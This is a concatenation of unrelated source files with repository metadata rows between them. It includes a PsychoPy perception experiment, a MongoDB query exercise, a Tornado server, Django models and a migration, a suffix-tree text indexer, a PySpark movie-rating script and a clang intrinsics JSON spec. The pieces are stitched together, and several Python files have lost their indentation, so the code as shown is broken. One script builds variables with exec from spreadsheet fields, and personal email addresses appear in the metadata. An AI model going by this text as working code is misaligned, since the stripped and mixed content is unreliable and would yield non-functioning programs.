left = PolyL.vertices
right = PolyR.vertices
flag = 0
for i in range(nstepsy):
s1= []
s2= []
s1.append(left[i+1])
s1.append(left[i+2])
s1.append([0,left[i+2][1]])
s1.append([0,left[i+1][1]])
s2.append(right[i+1])
s2.append(right[i+2])
s2.append([0,right[i+2][1]])
s2.append([0,right[i+1][1]])
stimL.vertices= s1
stimR.vertices= s2
stimL.size= stimR.size= 1.3
stimL.draw()
stimR.draw()
def insidepolygon(regularity, seedNo):
seed(seedNo)
ecoord = []
erad=[]
ecolor=[]
a=[0]
b=[1]
memory =(a*(400-ndots))+(b*ndots)
shuffle(memory)
# PolyL.enabled=True
i= 0
for x in range (-insideW,0,jump):
for y in range(-insideH, insideH, jump):
if PolyL.contains(x,y):
if (memory[i]== 1):
rad=randint(4,12)
ecoord.append([x,y])
erad.append([rad])
e.setPos([x,y])
e.setRadius([rad])
e.draw()
i= i+1
#
if regularity == 'ref':
i = 0
for i in range (len(ecoord)):
e.setPos([-ecoord[i][0],ecoord[i][1]])
e.setRadius(erad[i])
e.draw()
i= i+1
elif regularity == 'ran':
shuffle(memory)
i= 0
for x in range (insideW,0,-jump):
for y in range(-insideH, insideH, jump):
if PolyR.contains(x,y):
if (memory[i]== 1):
rad=randint(4,12)
e.setPos([x,y])
e.setRadius([rad])
e.draw()
i= i+1
def shapescreenshot(regularity, seedNo):
global screenshot
preparepolygon(regularity, seedNo)
colorpolygon()
insidepolygon(regularity, seedNo)
#screenshot = visual.BufferImageStim(myWin, rect=(-.5, .5, .5, -.5))
screenshot = visual.BufferImageStim(myWin, rect=(-.6, .6, .6, -.6))
#
def drawOccluder(shiftPos, OcclStartPos):
yPos= 0
if OcclStartPos == 'left':
xPos=0
Occl.setPos((xPos,yPos),"")
if OcclStartPos == 'right':
Occl.setPos((shiftPos,yPos),"")
Occl.setFillColor(occludercolor)
Occl.setLineColor(occludercolor)
Occl.draw()
fix.draw()
def moveOccluder(shiftPos, speedOccl,regularity, seedNo, OcclStartPos, Pduration):
OcclClock = core.Clock()
yPos = 0
if OcclStartPos == 'left':
xPos = 0
#OcclClock.reset(); t = 0
# ck = OcclClock.getTime()
while xPos < shiftPos:
xPos = xPos + speedOccl
Occl.setPos((xPos,yPos),"")
screenshot.draw()
Occl.draw()
fix.draw()
myWin.flip()
# ck= OcclClock.getTime() - ck
# print ck
elif OcclStartPos == 'right':
xPos = shiftPos
#OcclClock.reset(); t = 0
# ck = OcclClock.getTime()
while xPos > 0:
xPos = xPos - speedOccl
Occl.setPos((xPos,yPos),"")
screenshot.draw()
Occl.draw()
fix.draw()
myWin.flip()
# ck= OcclClock.getTime() - ck
# print ck
def responseCollect(regularity,ResponseScreenVersion):
event.clearEvents()
if ResponseScreenVersion == 1:
responseScreen.setText('Reflection Random')
responseScreen.draw()
myWin.flip()
responseKey = event.waitKeys(keyList=['a', 'l'])
if responseKey == ['a']:
choice = 'reg'
if regularity== 'ran':
respCorr = 0
elif regularity== 'ref':
respCorr = 1
elif responseKey == ['l']:
choice = 'ran'
if regularity== 'ran':
respCorr = 1
elif regularity== 'ref':
respCorr = 0
elif ResponseScreenVersion == 2:
responseScreen.setText('Random Reflection')
responseScreen.draw()
myWin.flip()
responseKey = event.waitKeys(keyList=['a', 'l'])
if responseKey == ['l']:
choice = 'reg'
if regularity== 'ran':
respCorr = 0
elif regularity== 'ref':
respCorr = 1
elif responseKey == ['a']:
choice = 'ran'
if regularity== 'ran':
respCorr = 1
elif regularity== 'ref':
respCorr = 0
return respCorr, choice
def RunBlock(trialbook, Reps):
#parallel.setData(0)
myClock= core.Clock()
trials=data.TrialHandler(nReps=Reps, method='sequential', trialList=data.importConditions(trialbook))
trialCounter = 0
fixduration = uniform(.2,.5)
baselineduration= 1.5
FirstHalfduration=2#.5
SecondHalfduration = 2
shiftPos= 181
speedOccl= 181
nBlocksToGo = 8
blockDuration = 30
for thisTrial in trials:
if thisTrial!=None:
for paramName in thisTrial.keys():
exec('{} = thisTrial[paramName]'.format(paramName), locals(), globals()) #Python 3 string formatting
if trialCounter == blockDuration:
nBlocksToGo = nBlocksToGo - 1
message('Break',nBlocksToGo = nBlocksToGo)
event.waitKeys(keyList=['g'])
trialCounter = 0
#setOccluderType(OcclType)
trialCounter= trialCounter+1
seedNo= trialCounter
if event.getKeys(["escape"]):
core.quit()
event.clearEvents()
myWin.close
#regularity = 'ref'
fixation()
myWin.flip()
t = myClock.getTime() + fixduration
while myClock.getTime() < t:
pass #do nothing
fixation()
drawOccluder(shiftPos, OcclStartPos)
myWin.flip()
shapescreenshot(regularity, seedNo)
drawOccluder(shiftPos, OcclStartPos)
t = myClock.getTime() + baselineduration
while myClock.getTime() < t:
pass #do nothing
#PATTERN ONSET
#parallel.setData(trigger)
myWin.flip()
myWin.getMovieFrame()
n= "%s%s%s" %(regularity,OcclStartPos,'T1.png')
myWin.saveMovieFrames(n)
## w= myClock.getTime()
t = myClock.getTime() + FirstHalfduration
while myClock.getTime() < t:
pass #do nothing
## fh = myClock.getTime() - w
## print 'fh', fh
moveOccluder(shiftPos, speedOccl,regularity, seedNo, OcclStartPos, SecondHalfduration)
myWin.getMovieFrame()
n= "%s%s%s" %(regularity,OcclStartPos,'T2.png')
myWin.saveMovieFrames(n)
## sh = myClock.getTime()
t = myClock.getTime() + SecondHalfduration
while myClock.getTime() < t:
pass #do nothing
## sh = myClock.getTime() - sh
## print 'sh', sh
# PATTERN OFFSET
## wt= myClock.getTime() - w
## print 'whole thing', wt
fixation()
Occl.draw()
fix.draw()
myWin.flip()
t = myClock.getTime() + fixduration
while myClock.getTime() < t:
pass #do nothing
if event.getKeys(["escape"]):
core.quit()
event.clearEvents()
myWin.close
fixation()
# RT = myClock.getTime()
# respCorr, choice = responseCollect(regularity, ResponseScreenVersion)
# RT= myClock.getTime() - RT
#
#
# trials.addData('choice', choice)
# trials.addData('respCorr', respCorr)
# trials.addData('respTime',RT)
#
#
# #save all data
# trials.saveAsExcel(filenamexlsx+'.xlsx', sheetName= 'filenamexlsx', dataOut=['all_raw'])
# trials.extraInfo =expInfo
# trials.saveAsWideText('data/'+filenametxt+'.txt')
trialbook='trialbook.xlsx'
#message('HelloPractice')
#event.waitKeys('Space')
RunBlock(trialbook, 1)
#message('HelloMain')
#event.waitKeys('Space')
#RunBlock(trialbook, 30) # (240 trials: 2 conditions (4subconditions): 120 reps) .
#message('Goodbye')
#event.waitKeys('Space')
| [
"hljtyson@liverpool.ac.uk"
] | hljtyson@liverpool.ac.uk |
0bcc0295445f46510f69acdc51a2bc69602ef712 | d3853f741e9a5e0d6f6b7424e8307c6573863f89 | /lesson4/find_cars.py | 4714a6a94ac9fd7cf38d13187e91030dd1f57dc9 | [] | no_license | nagilla-venkatesh/Data-Wrangling-with-MongoDB | 6472451e800448af67edc769f76bf87a81e5c4ac | 8548d2f6c3eeb5cd4f990ea07b1f88039c20e218 | refs/heads/master | 2022-11-05T20:29:13.731022 | 2018-10-15T08:27:11 | 2018-10-15T08:27:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,300 | py | #!/usr/bin/env python
"""
Your task is to write a query that will return all cars manufactured by
"Ford Motor Company" that are assembled in Germany, United Kingdom, or Japan.
Please modify only 'in_query' function, as only that will be taken into account.
Your code will be run against a MongoDB instance that we have provided.
If you want to run this code locally on your machine,
you have to install MongoDB, download and insert the dataset.
For instructions related to MongoDB setup and datasets please see Course Materials.
"""
def in_query():
# Modify the below line with your query; try to use the $in operator.
query = { "manufacturer" : "Ford Motor Company",
"assembly" : { "$in" : ["Germany", "United Kingdom", "Japan"] } }
return query
# Do not edit code below this line in the online code editor.
# Code here is for local use on your own computer.
def get_db():
from pymongo import MongoClient
client = MongoClient('localhost:27017')
db = client.examples
return db
if __name__ == "__main__":
db = get_db()
query = in_query()
autos = db.autos.find(query, {"name":1, "manufacturer":1, "assembly": 1, "_id":0})
print("Found autos:", autos.count())
import pprint
for a in autos:
pprint.pprint(a)
| [
"venkatesh.nagilla@outlook.com"
] | venkatesh.nagilla@outlook.com |
dc49a560cc917013648c6797e9aee34f69106e1b | 63333e57527fb6880aef2577ec9f3acf9776d502 | /main.py | 152bedcdfc78e9aa4cb043b85d54ef20a209501a | [] | no_license | chaselee/tornado-linode | 596daa9156c3818d0afbe1d2961f6bc1c795d5a9 | c1159721d5d86513d14ba0e685d19d8f5d45cc1d | refs/heads/master | 2021-01-10T21:07:27.616881 | 2013-03-16T04:56:43 | 2013-03-16T04:56:43 | 2,075,666 | 21 | 6 | null | 2014-02-13T04:58:45 | 2011-07-20T01:52:14 | Python | UTF-8 | Python | false | false | 720 | py | import tornado.ioloop
from tornado.options import define, options, logging
import tornado.web
define("port", default=8888, help="run on the given port", type=int)
settings = {
"debug": True,
}
server_settings = {
"xheaders" : True,
}
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("Hello, Linode")
def main():
tornado.options.parse_command_line()
logging.info("Starting Tornado web server on http://localhost:%s" % options.port)
application = tornado.web.Application([
(r"/", MainHandler),
], **settings)
application.listen(options.port, **server_settings)
tornado.ioloop.IOLoop.instance().start()
if __name__ == "__main__":
main()
| [
"umchaselee@gmail.com"
] | umchaselee@gmail.com |
e4afd99c50407f622a682d09e3830125874d47d2 | 335ce4b41ba842253e5421d6fdc407cddbc59e35 | /FinalDataSetModel/migrations/0013_auto_20181122_1924.py | 20ccd95a1256cb4a7caad23d2d8fbf50b2584374 | [] | no_license | 2018DataSet/ScratchDataset | 898d61f6fe782adf0eba87ed62088a8ff59967a4 | ebc7cc5be78476330782d6b2c4ee10a8dcf93d18 | refs/heads/master | 2020-04-07T23:51:48.593238 | 2018-12-06T09:03:03 | 2018-12-06T09:03:03 | 158,827,730 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 724 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2018-11-22 11:24
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('FinalDataSetModel', '0012_auto_20181122_1921'),
]
operations = [
migrations.RemoveField(
model_name='knowmodel',
name='author_id',
),
migrations.AddField(
model_name='knowmodel',
name='author',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='FinalDataSetModel.TeacherModel', verbose_name='出课老师'),
),
]
| [
"1583071538@qq.com"
] | 1583071538@qq.com |
c5b9bd010de9df17ce44d3ced4ccf69cf11a0deb | 2071325c958baeccf009fd63803d459b809ec435 | /tadh/index.py | d59a7b735c6e3205ca9be63cac5931a1f68b0441 | [] | no_license | timtadh/codegolf | fd18eccaadf1a9d6c5c93026d28bee6914993268 | 434bc3fdc3881a993184ce54042b074b134ce440 | refs/heads/master | 2021-01-18T10:53:51.397524 | 2012-04-24T06:16:34 | 2012-04-24T06:16:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,510 | py | import collections, os, re, sys, json, timeit, time
from tst.suffix import SuffixTree
from tst import TST
stop = {'a', 'an', 'the', 'their', 'my', 'me', 'mine', 'my', 'i', 'am', 'but',
'is', "isn't", 'was', "wasn't"}
index = SuffixTree()
reviews = dict()
results = dict()
def clean(text):
return (
text
.lower()
.replace('/', '')
.replace('(', '')
.replace(')', '')
.replace(':', '')
.replace('.', '')
.replace(',', '')
.replace(';', '')
.replace(';', '')
.replace('?', ' ?')
.replace('!', ' !')
.replace('-', ' - '))
def index_review(revid, review):
revid = revid.strip()
text = clean(review.strip().lower())
reviews[revid] = (id, text)
for word in set(text.split())-stop:
revs = index.get(word, set())
if not revs:
revs.add(revid)
index[word] = revs
else:
revs.add(revid)
def mkindex(fname):
print fname
with open(fname, 'r') as f:
for i, line in enumerate(f):
#if i > 100: break
if i % 100 == 0:
print i
sys.stdout.flush()
revid, review = line.split(':', 1)
index_review(revid, review)
def query(*substrs):
ssres = [re.compile('.{0,35}%s.{0,35}'%substr.replace('?', '\?')) for substr in substrs]
def f_index():
for substr in substrs:
list(index.find(substr))
def f_brute():
for substr in substrs:
[text.find(substr) for id, text in reviews.values()]
#import pdb
#pdb.set_trace()
#print timeit.timeit(f_index, number=10)
#print timeit.timeit(f_brute, number=10)
sets = [set() for substr in substrs]
for i,substr in enumerate(substrs):
for word, revids in index.find(substr):
sets[i] |= revids
revids = sets[0]
for rvs in sets[1:]:
revids &= rvs
revids = [revid.decode('utf8') for revid in revids]
results[' '.join(substrs).decode('utf8')] = revids
print json.dumps(revids)
def main():
mkindex(sys.argv[1])
print len(reviews)
#sys.stderr.write('repeater.py: starting\n')
sys.stdout.flush()
while True:
sys.stdout.write('> '); sys.stdout.flush()
try: inpt = sys.stdin.readline()
except: break;
#if inpt is None: break;
if not inpt:
continue
inpt = clean(inpt)
#sys.stdout.write(inpt)
#sys.stdout.flush()
inpt = inpt.split()
query(*inpt)
sys.stdout.flush()
time.sleep(1)
print 'finished'
#print >>sys.stderr, results
with open('results.json', 'w') as f:
json.dump(results, f)
if __name__ == '__main__':
main()
| [
"tim.tadh@gmail.com"
] | tim.tadh@gmail.com |
691845312b03bffcaabddee6ca4377487a883d3f | 073310af8448572761a52aa55df126572ba7fb47 | /tiendavirtual/models.py | 9d15bd8e02b7638452a23028d5e9a1b112f5c1fa | [] | no_license | williampalacios/bicicletas-once | 833565f9b7a1c745528c26edce944baea7f2a9c2 | db296c1f58de23ffd4bad6ecfeb90679d4211ada | refs/heads/master | 2020-09-10T21:18:35.460121 | 2019-11-15T22:22:27 | 2019-11-15T22:22:27 | 221,818,635 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,768 | py | # This is an auto-generated Django model module.
# You'll have to do the following manually to clean this up:
# * Rearrange models' order
# * Make sure each model has one field with primary_key=True
# * Make sure each ForeignKey has `on_delete` set to the desired behavior.
# * Remove `managed = False` lines if you wish to allow Django to create, modify, and delete the table
# Feel free to rename the models, but don't rename db_table values or field names.
from django.db import models
from imagekit.models import ImageSpecField
from imagekit.processors import ResizeToFill, Adjust
from django.urls import reverse #Used to generate URLs by reversing the URL patterns
class Categorias(models.Model):
idcategoria = models.IntegerField(db_column='idCategoria', primary_key=True) # Field name made lowercase.
nombrecategoria = models.CharField(db_column='nombreCategoria', unique=True, max_length=15) # Field name made lowercase.
descripcion = models.CharField(db_column='Descripcion', unique=True, max_length=255, blank=True, null=True) # Field name made lowercase.
imagen = models.CharField(db_column='Imagen', unique=True, max_length=45, blank=True, null=True) # Field name made lowercase.
def __str__(self):
return self.nombrecategoria
class Meta:
#managed = False
db_table = 'Categorias'
class Clientes(models.Model):
idcliente = models.IntegerField(db_column='idCliente', primary_key=True) # Field name made lowercase.
nombrecontacto = models.CharField(db_column='NombreContacto', max_length=45) # Field name made lowercase.
direccion = models.CharField(db_column='Direccion', max_length=45) # Field name made lowercase.
ciudad = models.CharField(db_column='Ciudad', max_length=15) # Field name made lowercase.
localidad = models.CharField(db_column='Localidad', max_length=15) # Field name made lowercase.
codpostal = models.CharField(db_column='CodPostal', max_length=10) # Field name made lowercase.
pais = models.CharField(db_column='Pais', max_length=15) # Field name made lowercase.
telefono = models.CharField(db_column='Telefono', unique=True, max_length=15) # Field name made lowercase.
e_mail = models.CharField(db_column='e-mail', unique=True, max_length=45) # Field renamed to remove unsuitable characters.
password = models.CharField(db_column='Password', unique=True, max_length=15) # Field name made lowercase.
def __str__(self):
return self.e_mail
class Meta:
#managed = False
db_table = 'Clientes'
class Companiasdeenvios(models.Model):
idcompañiasdeenvio = models.IntegerField(db_column='idCompañiasDeEnvio', primary_key=True) # Field name made lowercase.
nombrecompañia = models.CharField(db_column='NombreCompañia', unique=True, max_length=20) # Field name made lowercase.
telefono = models.CharField(db_column='Telefono', unique=True, max_length=15) # Field name made lowercase.
e_mail = models.CharField(db_column='e-mail', unique=True, max_length=45) # Field renamed to remove unsuitable characters.
def __str__(self):
return self.nombrecompañia
class Meta:
#managed = False
db_table = 'CompañiasDeEnvios'
class Pedidos(models.Model):
idpedido = models.IntegerField(db_column='idPedido', primary_key=True) # Field name made lowercase.
fechapedido = models.DateField(db_column='FechaPedido') # Field name made lowercase.
fechaentrega = models.DateField(db_column='FechaEntrega', blank=True, null=True) # Field name made lowercase.
fechaenvio = models.DateField(db_column='FechaEnvio', blank=True, null=True) # Field name made lowercase.
monto = models.FloatField(db_column='Monto') # Field name made lowercase.
destinatario = models.CharField(db_column='Destinatario', max_length=30) # Field name made lowercase.
direcciondestinatario = models.CharField(db_column='DireccionDestinatario', max_length=45) # Field name made lowercase.
ciudaddestinatario = models.CharField(db_column='CiudadDestinatario', max_length=15) # Field name made lowercase.
localidaddestinatario = models.CharField(db_column='LocalidadDestinatario', max_length=20) # Field name made lowercase.
codpostaldestinatario = models.CharField(db_column='CodPostalDestinatario', max_length=10) # Field name made lowercase.
paisdestinatario = models.CharField(db_column='PaisDestinatario', max_length=15) # Field name made lowercase.
idcompañiasdeenvio = models.ForeignKey(Companiasdeenvios, models.PROTECT, db_column='IdCompañiasDeEnvio') # Field name made lowercase.
idcliente = models.ForeignKey(Clientes, models.PROTECT, db_column='idCliente') # Field name made lowercase.
pago_estado = (
('a', 'Aprovado'),
('p', 'Pendiente'),
('r', 'Rechazado'),
)
estadopago = models.CharField(db_column='EstadoPago', max_length=1, choices=pago_estado) # Field name made lowercase.
pago_forma = (
('e', 'Efectivo'),
('d', 'Depósito'),
)
formapago = models.CharField(db_column='FormaPago', max_length=1, choices=pago_forma) # Field name made lowercase.
def __str__(self):
return str(self.idpedido) + " / " + str(self.idcliente) + " / " + self.destinatario
class Meta:
#managed = False
db_table = 'Pedidos'
class Proveedores(models.Model):
idproveedor = models.IntegerField(db_column='idProveedor', primary_key=True) # Field name made lowercase.
nombrecompañia = models.CharField(db_column='NombreCompañia', unique=True, max_length=20) # Field name made lowercase.
nombrecontacto = models.CharField(db_column='NombreContacto', max_length=45) # Field name made lowercase.
cargocontacto = models.CharField(db_column='CargoContacto', max_length=15) # Field name made lowercase.
direccion = models.CharField(db_column='Direccion', max_length=45) # Field name made lowercase.
ciudad = models.CharField(db_column='Ciudad', max_length=15) # Field name made lowercase.
localidad = models.CharField(db_column='Localidad', max_length=15) # Field name made lowercase.
codpostal = models.CharField(db_column='CodPostal', max_length=10) # Field name made lowercase.
pais = models.CharField(db_column='Pais', max_length=15) # Field name made lowercase.
telefono = models.CharField(db_column='Telefono', unique=True, max_length=15) # Field name made lowercase.
e_mail = models.CharField(db_column='e-mail', unique=True, max_length=45) # Field renamed to remove unsuitable characters.
paginaprincipal = models.CharField(db_column='PaginaPrincipal', unique=True, max_length=30, blank=True, null=True) # Field name made lowercase.
def __str__(self):
return self.nombrecompañia
class Meta:
#managed = False
db_table = 'Proveedores'
class Productos(models.Model):
idproducto = models.IntegerField(db_column='idProducto', primary_key=True) # Field name made lowercase.
nombreproducto = models.CharField(db_column='NombreProducto', unique=True, max_length=45) # Field name made lowercase.
cantidadporunidad = models.IntegerField(db_column='CantidadPorUnidad') # Field name made lowercase.
preciounidad = models.FloatField(db_column='PrecioUnidad') # Field name made lowercase.
unidadesenexistencia = models.IntegerField(db_column='UnidadesEnExistencia') # Field name made lowercase.
unidadesenpedido = models.IntegerField(db_column='UnidadesEnPedido') # Field name made lowercase.
demanda_nivel = (
('b', 'Bajo'),
('m', 'Medio'),
('a', 'Alto'),
)
demanda = models.CharField(db_column='Demanda', max_length=1, choices=demanda_nivel) # Field name made lowercase.
es_suspendido = (
('s','Sí'),
('n','No'),
)
suspendido = models.CharField(db_column='Suspendido', max_length=1, choices=es_suspendido) # Field name made lowercase.
idproveedor = models.ForeignKey(Proveedores, models.PROTECT, db_column='IdProveedor') # Field name made lowercase.
idcategoria = models.ForeignKey(Categorias, models.PROTECT, db_column='idCategoria') # Field name made lowercase.
imagen = models.CharField(db_column='Imagen', unique=True, max_length=45) # Field name made lowercase.
imagentest = models.ImageField(upload_to='img_prod', null=True, blank=True)
thumbnail = ImageSpecField([Adjust(contrast=1.2, sharpness=1.1),
ResizeToFill(50, 50)], source='imagentest',
format='JPEG', options={'quality': 90})
def __str__(self):
return self.nombreproducto
def get_absolute_url(self):
"""
Devuelve el URL a una instancia particular de Productos
"""
return reverse('product-detail', args=[str(self.idproducto)])
class Meta:
#managed = False
db_table = 'Productos'
class Detallesdepedidos(models.Model):
idpedido = models.ForeignKey(Pedidos, models.PROTECT, db_column='IdPedido', primary_key=True) # Field name made lowercase.
idproducto = models.ForeignKey(Productos, models.PROTECT, db_column='IdProducto') # Field name made lowercase.
preciounidad = models.FloatField(db_column='PrecioUnidad') # Field name made lowercase.
cantidad = models.IntegerField(db_column='Cantidad') # Field name made lowercase.
descuento = models.FloatField(db_column='Descuento', blank=True, null=True) # Field name made lowercase.
def __str__(self):
return "(" + str(self.idpedido) + ") / " + str(self.idproducto)
class Meta:
#managed = False
db_table = 'DetallesDePedidos'
unique_together = (('idpedido', 'idproducto'),)
| [
"mich.palacios.hdz@gmail.com"
] | mich.palacios.hdz@gmail.com |
274c62339c3cc1cf5f7f12fbbeb2be073d312a4f | 1eb6a06f77d059bbcab2f8ff9284b3ee70d789c9 | /Map-Reduce/avg-rating-by-movie.py | be61cff74f63d6c3e465ee75d9c412c4092c44a0 | [] | no_license | neetipandey3/Spark-Scala-and-Python | 066a55b5973c470d2c0a13d0557d3e1c7702ebc5 | 2c53f75c0cda70ce78f83582ef42e204ed07ff8f | refs/heads/master | 2020-03-19T00:56:43.447342 | 2018-07-19T21:23:07 | 2018-07-19T21:23:07 | 135,511,528 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,233 | py | import sys, csv, os
from pyspark import SparkContext
'''
Movie Average Rating by movieId
Input:
:parameter #1: input file path (ratings.csv)
:parameter #2: output file path
Output:
Neeti_Pandey_result_task1.csv; values = (movieId, avg_rating)
'''
class MovieRating:
def getMovieAvgRating(self, rdd):
# Prepare ratings from ratings data as (movieId, (ratings, 1.0))
ratings_rdd = rdd.map(lambda row: row.split(',')).map(lambda cols: (int(cols[1]), (float(cols[2]), 1.0)))
#ratings_sumcount_rdd = ratings_rdd.aggregateByKey((0, 0), lambda x, y: (x[0] + y, x[1]+1), lambda rdd1, rdd2: (rdd1[0]+rdd2[0], rdd1[1]+rdd2[1]))
#ratings_avg_rdd = ratings_sumcount_rdd.map(lambda x: (int(x[0]), x[1][0] / x[1][1])).sortByKey(ascending=True)
#return ratings_avg_rdd.collect()
# Reduce to (movieID, (ratings_sum, total_no_of_ratings))
sum_count_ratings_rdd = ratings_rdd.reduceByKey(lambda mov1, mov2: (mov1[0] + mov2[0], mov1[1] + mov2[1]))
avg_rating_rdd = sum_count_ratings_rdd.mapValues(lambda sumAndCount: sumAndCount[0] / sumAndCount[1]).sortByKey(ascending=True)
return avg_rating_rdd.collect()
def writeOutput(self, movie_avgrating_rdd, op_path, op_filename):
open_file = open(os.path.join(op_path, op_filename), 'w')
writer = csv.writer(open_file)
# add header to output csv
writer.writerow(["movieId", "rating_avg"])
for row in movie_avgrating_rdd:
writer.writerow([row[0], row[1]])
open_file.close()
def main():
sc = SparkContext(appName="MovieRatingMovieLens")
input_path = sys.argv[1]
output_path = sys.argv[2]
input_filename = "ratings.csv"
output_filename = "Neeti_Pandey_result_task1.csv"
rdd_data = sc.textFile(os.path.join(input_path, input_filename))
# get rid of the header of the input file
csv_header = rdd_data.first()
csv_header_rdd = sc.parallelize([csv_header])
rdd = rdd_data.subtract(csv_header_rdd)
task1 = MovieRating()
movie_avgrating_rdd = task1.getMovieAvgRating(rdd)
task1.writeOutput(movie_avgrating_rdd, output_path, output_filename)
if __name__ == "__main__":
main()
| [
"neetipandey3@gmail.com"
] | neetipandey3@gmail.com |
8b621ea6bcba2ad286662444d9729a742fcad36f | e32d56a2b1ae252bbc92d72c23f773a6c1919bb7 | /specs/gdal.x86_64-unknown-freebsd.spec | f2596ca418bc3660eb0b59c081b60d6e3ae4b61f | [
"ISC"
] | permissive | jl2/cl-gdal | 3dccb1bb3632cba82e57387f773562694aa781c7 | e67a00192857d8d905350685733f8de0ecf76f21 | refs/heads/master | 2020-08-03T03:34:42.691420 | 2019-11-25T22:46:04 | 2019-11-25T22:46:04 | 211,612,993 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,029,959 | spec | [
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{ "tag": "function", "name": "_mm_and_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:404:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_andnot_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:426:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_or_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:444:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_xor_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:463:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpeq_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:485:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpeq_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:503:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmplt_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:526:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmplt_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:545:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmple_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:569:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmple_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:588:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpgt_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:611:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpgt_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:632:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpge_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:656:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpge_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:677:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpneq_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:700:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
